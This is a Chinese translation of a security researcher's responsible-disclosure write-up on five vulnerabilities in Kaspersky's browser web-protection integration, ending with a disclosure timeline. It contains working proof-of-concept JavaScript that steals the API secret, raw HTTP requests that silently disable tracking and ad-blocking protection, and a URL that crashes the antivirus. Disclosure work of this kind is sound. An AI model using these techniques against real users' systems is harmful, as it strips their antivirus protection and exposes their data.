卡巴斯基 web 防护功能将拦截广告和追踪器,警告用户关于恶意搜索结果等等。但这个功能在浏览器中运行而且需要和主应用程序通信。要确保这种通信的安全性,必须要回答的问题是:它把通向王国的钥匙放在了哪个地垫之下?

本文作者Wladimir Palant 详细分析了自己向卡巴斯基从该功能中找到的5个漏洞,奇安信代码卫士翻译如下:

概述

2018年12月,我可以证实,多个网站能够劫持卡巴斯基浏览器脚本与其所有配置中主应用程序之间的通信。网站从而能够以多种方式操纵该应用程序,包括禁用广告拦截和追踪的防护功能。

卡巴斯基当时表示会在2019年7月份解决这些问题。但进一步调查发现他们只限制了更为强大的 API 调用,而任何网站仍然可以访问大量应用程序。更糟糕的是,卡巴斯基发布的新版本泄露了大量用户系统信息,如卡巴斯基程序的唯一标识符,同时还引入一个新问题,可导致任意网站触发应用程序崩溃,使得用户系统无法得到病毒防护功能的保护。

问题为何如此复杂?

杀毒软件通常通过浏览器扩展实现 web 防护措施,这样使得和主应用程序的通信更加方便快捷:浏览器扩展可使用易于保护的本地消息传递机制 (native messaging)。原生应用程序内置多种安全预防措施,指定了哪些浏览器扩展可以与其连接。

但我们这里考虑的环境不仅仅是浏览器扩展。如果用户拒绝安装卡巴斯基的浏览器扩展,那么卡巴斯基软件不会轻易放手,而是会直接将必要脚本注入所有的网页。这种做法甚至适用于 HTTPS 网站中,因为卡巴斯基为了操纵所有的网站不惜突破 HTTPS 连接。

另外,更特别的是 IE 浏览器插件。由于IE 浏览器并不会提供适当的扩展 API,其插件限制将脚本注入网页中。虽然它并不要求操纵网页的源代码,但脚本仍然会在这些页面上下文中执行且不会具备任何特别权限。

因此,卡巴斯基这样做的目的似乎是为这三种环境提供和卡巴斯基应用程序统一的通信方式。但在其中两种环境中,卡巴斯基的脚本所具有的权限和已被注入脚本的网页的权限完全一样。那么如何阻止网站连接到使用同样方式的应用程序呢?现在知道这个任务的挑战性有多大了吧?

卡巴斯基的解决方案

卡巴斯基的卡法人员显然给出了一种解决方案,不然我也不会写这么一篇文章了。他们决定在应用程序和脚本(他们在代码中称之为“signature”)之间共享一个秘密。在建立连接时,必须提供这个秘密值,而本地服务器只有在收到正确的值之后才会响应。

那么,扩展和脚本如何才能知道这个秘密是什么?Chrome 和火狐浏览器使用本地消息传递机制进行检索。至于IE 浏览器扩展和直接被注入网页中的脚本在这里变成该脚本的一部分源码。由于网站受制于同源策略无法下载该源码,因此它们无法读取该秘密,至少从理论上来讲是这样的。

提取秘密

2018年12月,当我查看 Kaspersky Internet Security 2019 产品时发现它们的 web 集成代码在所有的环境中都在泄露该秘密(CVE-2019-15685)。不管你是用的是什么浏览器,也不管是否安装了浏览器扩展,所有的浏览器都能够提取到和卡巴斯基主应用程序进行通信所需的秘密。

从注入脚本提取

入之前说书,如果没有浏览器扩展,那么卡巴斯基软件将直接把脚本注入到网页中。由于 JavaScript 是高度动态化的执行环境,因此几乎可任意遭操控。例如,网站可以替代 WebSocket 对象并看到脚本和本地服务器之间建立连接。当然,卡巴斯基的开发人员也想到了这种场景,于是他们确保自己的脚本会在网站脚本之前运行。同时还复制了 WebSocket 对象并且仅使用该对象。

但这种方法并非滴水不漏。比如,网站仅能保证再次执行相同的脚本,但这次是在受操控的环境中执行。虽然需要脚本 URL 才能这么做,但是它可以自行下载并从响应中提取该脚本 URL。如下是我的方法:

    fetch(location.href).then(response => response.text()).then(text =>{let match =/<script\b[^>]*src="([^"]+kaspersky[^"]+\/main.js)"/.exec(text);if (!match)return;let origWebSocket = WebSocket; WebSocket =function(url){let prefix = url.replace(/(-labs\.com\/).*/,"$1");let signature =/-labs\.com\/([^\/]+)/.exec(url)[1]; alert(`Kaspersky API available under${prefix}, signature is${signature}`); }; WebSocket.prototype = origWebSocket.prototype;let script =document.createElement("script"); script.src = match[1];document.body.appendChild(script);});

    IE 扩展中提取

    IE 浏览器扩展把门槛又稍微提高了一下。虽然脚本也还是在可遭网站操纵的环境中运行,但脚本执行是由该扩展直接触发的。因此不具备可使网站再次找到并执行的脚本 URL。

    另一方面,该脚本并不会复制所有使用的函数。例如,在没有确保 String.prototype.indexOf() 函数是否遭操纵的情况下就会调用它。不过我们无法通过该函数窥探秘密。然而,结果调用它的函数获取所传输的命名空间 KasperskyLabs 作为第一个参数,而这正是存储所有重要信息的地方。

      let origIndexOf =String.prototype.indexOf;String.prototype.indexOf =function(...args){let ns =arguments.callee.caller.arguments[0];if (ns && ns.SIGNATURE) alert(`Kaspersky API available under${ns.PREFIX}, signature is${ns.SIGNATURE}`);return origIndexOf.apply(this, args);};

      Chrome 和火狐浏览器扩展中提取

      最后,我们再看下Chrome 和火狐浏览器扩展。和其它场景不同,这里的内容脚本是在无法遭网站操纵的独立环境中执行的。因此无需做任何事情就能避免敏感信息遭泄露,就是不应该将敏感信息传给网页。但事实是 Chrome 和火狐浏览器扩展也泄露了 API 访问权限。

      这里的攻击利用的是内容脚本和被注入网页中的框架之间的通信方式中存在一个缺陷。URL Advisor 框架从程序上来讲最容易触发,因此攻击必须从具有像 www.google.malicious.com这样主机名的HTTPS 网站上发动。这里的主机名以 www.google 开头,确保启用了 URLAdvisor 并考虑如下 HTML代码作为搜索结果:

        <h3class="r"><ahref="https://example.com/">safe</a></h3>

        URL Advisor 将会在该链接后添加一个图像以证实它是安全的。当鼠标移动到该图像时,就会打开一个具有更多详情信息的框架:

        而该框架将接收某些数据来初始化自己,其中包括能够访问卡巴斯基 API 的一个 commandUrl 值。卡巴斯基开发人员并未使用该指定扩展 API 来和框架通信,而是使用了一个快捷方式:

          functionSendToFrame(args){ m_balloon.contentWindow.postMessage(ns.JSONStringify(args),"*");}

          这里我借用MDN的话,说明在扩展中使用 window.postMessage,尤其是使用“*”作为第二个参数时会发生什么结果:“Web 或内容脚本可以使用带有“*”的targetOrigin 来向所有监听者广播,但不鼓励这样做,因为扩展无法确认这类信息的源,而其它监听者(包括不受限的监听者)也能窃听。”

          而这里恰恰就是这种情况,尽管该框架是由扩展的内容脚本创建的,但也不能保证它仍然包含属于该扩展的页面。恶意网页能够检测到被创建的框架并替换其内容,从而能够窃听发送到该框架的任意信息。而框架创建很容易从程序上通过虚假的 mouseover 事件触发。

            let onMessage =function(event){ alert(`Kaspersky API available under${JSON.parse(event.data).commandUrl}`);};let frameSource =`<script>window.onmessage =${onMessage}<\/script>`;let observer =new MutationObserver(list =>{for (let mutationof list) {if (!mutation.addedNodes || !mutation.addedNodes.length)continue;let node = mutation.addedNodes[0];if (node.localName =="img") node.dispatchEvent(new MouseEvent("mouseover"));elseif (node.localName =="iframe") node.src ="data:text/html," +encodeURIComponent(frameSource); }});observer.observe(document, {childList:true,subtree:true});

            这个场景和之前所述有些微却别:commandUrl 并不包含连接到该应用程序所必须的签名 (signature) 值。然而它却包含 ajaxId 和 sessionId 值(下节将会讲到),因此可导致通过已经存在的会话发送命令。

            破坏

            从技术层面讲,这里运行的并非是本地 web 服务器,而是混杂所有互联网连接的卡巴斯基软件。它会直接回复 kis.v2.scr.kaspersky-labs.com 子域名的请求,提供 API 等信息。该 API 可通过 WebSockets 和 AJAX 调用访问。我将继续说明后一种调用方式,因为它更容易演示。

            知道“signature”之后,任何网站都能够通过加载如 https://ff.kis.v2.scr.kaspersky-labs.com/<SIGNATURE>/init?url=https://www.google.com/这样的地址初始化会话。这里的前缀 “ff” 是火狐浏览器特有的,在 Chrome、Edge和 IE 浏览器中,它就是 gc、me和ie。我们声明是在https://www.google.com/中被注入的脚本,不过这其实也没啥关系。我们从响应中得到很多 JSON 数据:

            这里的重要值是 ajaxId 和SeesionId,我们需要通过它们来调用更多的命令。浏览器扩展能够禁用广告拦截和追踪防护功能等。但这些功能是为了保护用户的安全,因此使网站禁用这些功能显然是糟糕的,而这也是我刚开始PoC 页面所做的事情。首先必须连接到 light_popup插件:

              POST/14B5494F-B7D9-3144-8889-C542E89DC9EC/E039014D-D6B8-1C40-82CA-4670F4165F27/to/light_popup.connect HTTP/1.1Host: ff.kis.v2.scr.kaspersky-labs.comContent-Length: 60{"result":0,"method":"light_popup.connect","parameters":[1]}

              之后,将真实命令发送,静默禁止追踪防护功能:

                POST/14B5494F-B7D9-3144-8889-C542E89DC9EC/E039014D-D6B8-1C40-82CA-4670F4165F27/to/light_popup.command HTTP/1.1Host: ff.kis.v2.scr.kaspersky-labs.comContent-Length: 86{"result":0,"method":"light_popup.command","parameters":["dnt","EnableDntTask",false]}

                参数   ["ab","EnableAntiBannerTask", false] 具有类似的广告拦截禁用功能。

                当然,这并非能够控制的所有功能,除此之外还有很多。例如,可以显示或隐藏虚拟键盘。可以搞混内部数据和其它数据。或者可以向广告黑名单添加过滤器*,而它和其它动作不同,并不需要经过用户确认。

                如果用户不小心接受了该弹出消息,那么 web 就会崩溃且几乎无法修复。而这只是冰山一角:如果应用程序的内部结构被暴露给任意网站,那么其中所隐藏的漏洞也被暴露了。

                真的都修复了吗?

                2019年7月,卡巴斯基通知我称所有问题均已修复。然而,当我尝试新发布的 Kaspersky Internet Security 2020 产品时,仍然能够很轻松地从被注入脚本中提取秘密,其中主要的问题就是将我的 PoC 代码适用于 API 调用约定的更改。坦白说,我也不能怪卡巴斯基开发人员甚至没有做任何尝试:私以为在他们无法控制的环境中保护自己的脚本注定失败。

                更让人惊讶的是,我发现 Chrome 和火狐浏览器中内容脚本和框架的通信问题本以为容易修复,但卡巴斯基什么都没有做。我的 PoC 页面仍然能够在无需任何修改的情况下连接到卡巴斯基API。并不是说这样做非常重要:鉴于卡巴斯基解决 Heise Online 报告的隐私问题的方式,被注入的脚本现在出现在固定的地址下了。因此即使浏览器是激活状态而且不易受攻击,恶意网站仍然能够加载并利用该脚本。

                真正的改动

                卡巴斯基的开发人员似乎并未放弃在不安全的环境中存储密码的做法,而是放弃保护 API 的访问权限。我注意到的变化只是问题得到缓解。具体而言:

                • 当连接到 API 时,脚本无法声明来自任何 URL——该应用程序现在验证 URL 是否和 Origin HTTP 头部匹配。而这种检查只有在 Origin 头部丢失、IE 浏览器中的 origin 是null或者火狐浏览器中是 moz-extension:// 时,才会绕过。

                • Light_popup 插件所提供的命令(具体是指启用/禁用广告拦截和追踪防护功能)现在仅向来自 about: blank、moz-extension:// 和 chrome-extension (它们分别是 IE、火狐和 Chrome 扩展中的扩展弹出消息)的脚本开放。

                就我目前所知好,这些限制只有在一些 edge 浏览器案例中才会被规避。例如,在火狐64 及以下版本中,可以避免发送 Origion 头部。IE浏览器中的 Origion null 适用于本地文件且看似仅适用于这些文件。因此任意本地文件均可规避这些限制,但通常在没有另外确认的情况下,这些文件甚至不可能运行 JavaScript 脚本。不止如此,任何 Chrome 或火狐扩展都能够规避这些限制,当然也包括本地安装的任何应用程序。

                还能如何利用?

                真的,这些措施仅仅设法限制了对 light_popup 函数的访问权限。其它函数无法被以相同的方式锁定,因为被注入的脚本也在使用它们,而不仅仅是浏览器扩展在使用。因此虽然网页无法再禁用广告拦截功能了,但仍然能够调用abn.SetBlockStatus 命令来静默地将自己添加到白名单中 (CVE-2019-1568)。

                另外,网页也无法禁用追踪保护功能了。但现在 init 命令的响应包含一个 AntiBannerHelpUrlSettings 的值,而该值包含所有关于用户的可识别信息(CVE-2019-15687)。虽然仅仅是为卡巴斯基支持人员提供的,但现在任何网站都可读取。

                更不用说卡巴斯基仍然授权网站访问其应用程序内部结构了。我偶然遇到的一个问题恰恰提供了相关证据。

                使其崩溃

                结果表明,卡巴斯基开发人员在增加来源检查时又引入了一个新的 bug。在初始化会话时传递不合法的 URL 导致该应用程序崩溃,大概有一分钟的延迟 (CVE-2019-15686)。我再强调一次:使这个杀毒应用程序崩溃的是任意网站,它导致你的系统无任何杀毒防护措施。而且即使重启该应用程序(有时它会自动重启),它的 web 防护组件也不会运行,这样必须同时重启浏览器。

                这里发生了什么?网页试图加载https://ff.kis.v2.scr.kaspersky-labs.com/<SIGNATURE>/init?url=ha!。当处理该请求时,应用程序会解析这里提到的 URL 并试图从中复制原始部分。它把URL 的开头部分复制到主机名的末尾。除非不存在主机名,而该结构的相应成员是一个空解指针。这就导致该应用程序为复制结果分配了大量内存缓冲区(指针差作为无符号整数),而且如果出现内存分配失败这种幸运的结果,使应用程序可以处理相应的异常。然而,更常见的情况是内存分配成功执行,而应用程序开始复制数据。最后,它会达到未分配的内存区域,进而出现界外读取,最终崩溃。

                我自己并非内存安全出错方面的专家。虽然有文章认为“损坏敏感信息”和“代码执行”是这类漏洞的潜在影响,但我真的不知道这里会如何产生这样的后果。从业余者的角度来看,我认为这个问题会导致拒绝服务攻击,除此以外无它。但这种后果已经相当严重了。

                第二轮修复

                几周前,卡巴斯基再次通知我表示漏洞已修复。如我所料,访问其 API 的权限仍然未受限制。即使在安装浏览器扩展的情况下,内容脚本和其框架之间通信不安全的问题仍然存在。因此网站仍然能够连接到卡巴斯基的应用程序。

                而他们明显改动的地方是,网站上禁用 anti-banner 的功能被迁移到无法由网站使用的 light_popup 插件中了。因此影响得到了进一步的控制。Init 调用的响应也进行了更改,它无法暴露任何敏感数据。

                但是,崩溃问题怎样了?解决了。除非你传递的值像http:///(它是具有空主机名的合法地址),否则仍然会崩溃。幸运的是,制种情况只有在绕过来源检查的情况下才会发生,因此网站再无法触发这种崩溃了,只有本地应用程序或浏览器扩展才能办到。卡巴斯基表示,余下的问题将会在下一个补丁中发布,会在几天内有结果。

                总体而言,我对卡巴斯基的修复情况不甚满意。距离发报告已过去将近一年了,根本问题还未解决,卡巴斯基做的只是控制破坏。

                结论

                只要卡巴斯基开发人员坚持向网页中注入脚本,作为用户拒绝安装其扩展场景下的退路,那么保护其内部 API 访问权限的结果注定会失败。他们似乎也是这样认为的,因此他们甚至都不尝试一下,而是试图保护浏览器扩展使用更为广泛的更加强大的 API 调用。然而这种方式仍然导致网页能访问多种功能。

                界外读取漏洞尤令人烦心。这种漏洞似乎“仅能”使应用程序崩溃,导致用户系统裸奔。但我注意到大量代码使用的数据结构并不具备内置安全性。由于本文所述问题的存在,网页能够访问很多代码,后续应该会看到更多的内存安全问题爆出。

                截至目前,我已经查看了其它杀毒解决方案(F-Secure、McAfee、Norton、Avast/AVG)。它们都只是依靠浏览器扩展来管理“web 防护”组件。可能卡巴斯基太痴迷于将脚本直接注入网页的做法了,确实这也是它们产品的一大特色,毕竟即使用户拒绝安装扩展它也能执行自己的任务。但是这一功能也是一个安全威胁,而且似乎是无法解决的威胁。因此我只能寄希望于它最终能克服这个问题吧。

                时间轴

                • 2018-12-21: 通过卡巴斯基漏洞奖励计划提交三分关于 API 劫持的漏洞报告:分别影响注入脚本、IE 扩展和 Chrome/火狐浏览器扩展。

                • 2018-12-24: 卡巴斯基确认漏洞存在并表示正在着手修复。

                • 2019-07-29: 卡巴斯基将问题标注为“已解决”。

                • 2019-07-29: 请求公开漏洞报告。

                • 2019-08-05: 卡巴斯基拒绝披露请求,指出用户需要时间来更新老旧版本后来讨论决定将“11月左右”作为最终披露时间。

                • 2019-08-19: 向卡巴斯基发送了另外两份报告:内部 API 仍然可被网页访问且它仍然泄露信息,而传递不合法的 URL 可能会引发拒绝服务攻击。披露最后期限定在2019年11月25日。

                • 2019-08-19: 通知卡巴斯基称我计划在11月25日发布博客文章。

                • 2019-08-19: 卡巴斯基表示已经收到新报告,承诺在完成首次分析后进一步沟通(但未兑现)。

                • 2019-08-23:我跟进邮件表示内部 API 仍然可被以多种方式滥用,如操纵广告拦截配置等方法。

                • 2019-11-07: 卡巴斯基通知我称问题已经在2019(Patch I)和2020 (PatchE)家族产品中解决。

                • 2019-11-15: 我评估修复方案后告知卡巴斯基崩溃修复方案并不完整。

                • 2019-11-20: 卡巴斯基表示将在未来几天内提供完整的崩溃修复方案,应该会在11月28日完成。

                据 ZDNet 报道称,卡巴斯基表示该问题已修复。

                原文链接

                https://palant.de/2019/11/25/kaspersky-the-art-of-keeping-your-keys-under-the-door-mat/

                声明:本文来自代码卫士,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。